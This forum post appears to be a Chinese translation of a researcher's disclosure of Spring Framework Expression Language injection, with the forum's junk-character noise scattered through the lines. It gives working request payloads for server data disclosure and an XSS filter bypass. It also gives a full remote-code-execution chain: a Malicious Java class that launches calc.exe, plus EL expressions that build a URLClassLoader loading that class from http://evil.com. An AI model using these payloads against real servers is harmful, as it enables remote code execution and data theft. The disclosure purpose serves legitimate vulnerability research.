找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2214|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with2 C& E5 A0 j- Q1 t5 ]( D  Z
Expression Language Injection
9 [7 S9 p" v3 ]/ ]/ Q" nSpring Framework脆弱性—DanAmodio
+ ]5 l& Q7 B' R. N6 z" s全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中' ~9 F# j; c7 v% j1 o5 G+ O
可能会存在风险。
! B& g. R) u; Z4 E在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
* j7 |2 r" Z9 F- n5 X$ gArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
7 j) b" R, q7 D: q* ~1 v- |' m以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,6 c5 t+ v& |( x* F
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
( n, C8 O; k# l$ R+ d! @版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
+ I6 W$ i4 M6 p/ a. S, M由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但. U" {& y! Z6 f9 C# X' S5 H/ T
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版# u5 ~, r" p% Z5 D0 J
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
9 f$ x! u0 ]  M5 Z) X/ ?2 y这些版本不支持禁用double EL resolution.
$ i6 n' C# ~" ]4 Y9 V5 f这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
/ o+ C- F. P3 \2 ?6 wEL2.2容器上可能进行远程代码执行。) g# v5 F/ k6 i! L( V* O
这是一个原始信息泄露的攻击例子:
/ o& {+ A9 L7 m* M9 z% Y9 o6 D: s& `1 L请求:
& E3 P- G! U# Y' M6 Qttp://vulnerable.com/foo?message=${applicationScope}6 ?3 v0 j, w6 K8 y0 M
到达以下内容页面:
+ V( K  V( \, c: Z: |; ^结果将输出一些包含内部服务器信息calsspath 和本地工作目录% Q% f: p+ s- f8 L
你也可以做一些其他事情,如这样:
1 {  e6 Q. f+ Z. Q' F3 O${9999+1}
. U8 t% \$ o6 T. ~' t; X( I2 y还可以访问session 对象和beans
7 n. \- B/ ]7 [3 i1 p- f${employee.lastName}) I% C, a  C5 ^' t; ?. ]# ]
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是+ h0 }0 Y! `2 L
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
& s$ Y% n4 f- j, s2 M西,比如XSS.
- Q1 i5 @& E  r9 j# Y2 a哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
8 {* S1 G/ f. x! x突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤, a0 @& y7 ]( j3 @$ Z4 g
呢?”
% L" J! b8 s8 a: Z; r7 }6 _9 I因此,我尝试巳缦拢�' k3 h- s5 r6 X' R: w  d3 A
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
2 V7 D  u  F5 q. V3 ]P" P5 N. Z4 H0 ]# E- G
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返7 b- K5 u' ?1 m/ L- O7 G
回的文本被插入进了spring:message 标签。( O. s# j; @- [
这里是一个最终绕过过滤的实例:4 F' c3 D* H& p$ K( u  _$ b+ a" B5 [
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
0 l  @" c& u- S' k6 c2 N它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为5 i! k: v  h# H& o' [8 I
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
6 R% a+ J1 g9 d- N$ |0 J" n" Z经过一番研究,我学习到EL2.2 增加了方法调用。( H7 g* T" Z1 z
我写了一个快速测试应用程序代码并且检测一些功能4 a/ r3 ?8 q# L' n* w/ X
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
  n' d% h0 ?8 m& c) c% v/ S, B& I. T, f+ U${pageContext.request.getSession().setAttribute(“admin”,true)}! e6 D7 q4 a$ {- {" R' m& [2 H
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
; ?& w( a7 C1 K+ H' _; M* h1 x. u指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
% C* G" g, }3 y# ^' m${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.11 t& \) v/ ]- d/ a1 H! Y7 A( v
“, 1234)}
- M. V# y$ Y3 z7 i5 q7 s) g${“”.getClass().forName(“java.lang.Runtime”)}
. i5 @6 U0 M  e' R! J哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
' W# F, d; z1 p0 B. @可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函8 {1 J3 Q# Q2 O% ~
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
- k- e; n! x0 O/ f) b+ v, z一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
8 G+ V/ W8 X/ n' ]) K: P方法签名invoke(Object obj, Object„ args)
$ C3 B" L& p( o+ _Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
9 [; y) S2 ^' q. Y0 Q题,以让它可以工作起来。
9 |1 m. f2 F; }漏洞利用:6 {" ]7 o1 y( f
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我2 u* v, M  g& j' r. I; m  [2 b
希望你们中的一些JAVA奇才告诉我我是如此的可笑。. S+ v/ W# c, Z  U
这里有一些我试过的失败的用例,为了试图让它工作的用例:
' _6 G& O: H9 G, V* k3 A1 j7 ? 写文件到文件系统: v7 J) T- r( T3 y( V7 N
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.! V# k7 |' a) b! u, ?5 h
我认为这些可以很好的工作,但是我不能找到合适的类来载入。- G% v. D1 I* x& J, ]
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}# D1 M/ S: `# j
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
" |- m# Q; j/ a' corg.springframework.expression.spel.standard.SpelExpressionParser not found8 C3 M( j& d3 m. v; b. h2 F0 W
by" o: ^+ m6 m9 @+ j5 I. o* |
org.glassfish.web.javax.servlet.jsp [194].
% y" d4 g( t& ^2 K) { 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
8 x- ~6 k9 Q& j0 O. U4 x 利用反射来创建一个新的Runtime(and watch the world burn): g3 ]: ~8 e1 I5 u0 u; O
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName  L3 T3 t" E8 r. C; D* b  _
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
9 b& D" p1 N0 S% J3 G${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}8 t! H) t) z) k) _' H
 使用java.lang.ProcessBuilder
+ Q7 u( Q% ~$ q7 ` 用表达式语言来评估表达式语言
8 M0 [6 l, l$ X; L7 q  @Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义./ `5 X" T$ D/ d+ j3 \2 s/ `
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
) {, a- V2 M/ F“,”".getClass(),null)}' m: }* ^( g0 l' s* p
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
( Y$ l& r. w' ]6 M- k% C我在使用一个空数组通过Method.invoke()时失败了很多次
7 E, X5 I' n" O3 H6 |( {“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
1 {" l% ^( g9 h) U- W$ K; v0 f.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
( {5 Y' p: z  ~" F  f- JrrayList”).newInstance().toArray())
! v$ ]7 R+ N, E! u, A8 gjava.lang.IllegalArgumentException: wrong number of arguments
/ }; P" D8 A: \' R: x$ c5 G$ S最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
. z* ^) C* P: Z: k以创建一个恶意class文件并且指向类装载器.8 z9 @3 u" G5 R  v. `
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:$ _" d) I' e! V% X. b8 _
public class Malicious {
! [2 L! {& X; M/ g' Ppublic Malicious() {
4 w4 u9 n" T$ ]2 T( I) _4 Q: Xtry {
, U1 A' F3 \- q7 T' O( k7 Wjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
3 f6 y$ `* |6 _) u9 T, E+ ]java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
. f4 }" U2 R) H3 _8 w$ ~} catch (Exception e) {
7 I4 A3 ]. D& O" @& l}% S6 h0 p' ?" S: E" k; {
}
( }0 t' p7 d) d- t$ E我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回* E' F# f: ], ]" P
话中,因此它可以被使用.
% |0 E! k+ H; K9 ]' x* ~0 r% O${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
" \, b" p& d4 I; {5 A4 ]" K(“java.util.ArrayList”).newInstance())}1 U( z# v, V  l8 f! S/ i
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建3 w, s) P2 Z1 o$ j! t" `
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和2 \7 z2 o0 _! i8 @
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个+ H. i" h: l" l  w. E0 Z4 U
我们可以调用的create(string)方法,然后转换对一个URL对象。
( ^/ V' c7 _5 {" ^. h; Z${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
0 w) R; f7 C1 N6 Yere/malicious/classfile/is/located/”).toURL())}5 Y1 D3 `, t9 Y& G; g1 h* G
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,; ^1 k# o2 ]) v, Q
恶意类文件被装载并创建,触发远程代码.
: n( c' D! k1 G) j, [${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte! t& A' ~# ]* [) |: O1 c" \, C# x
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
1 ~5 {$ B9 F# h0 a* a  kgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance1 `  C) Z5 }# w* K7 T+ L0 v
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表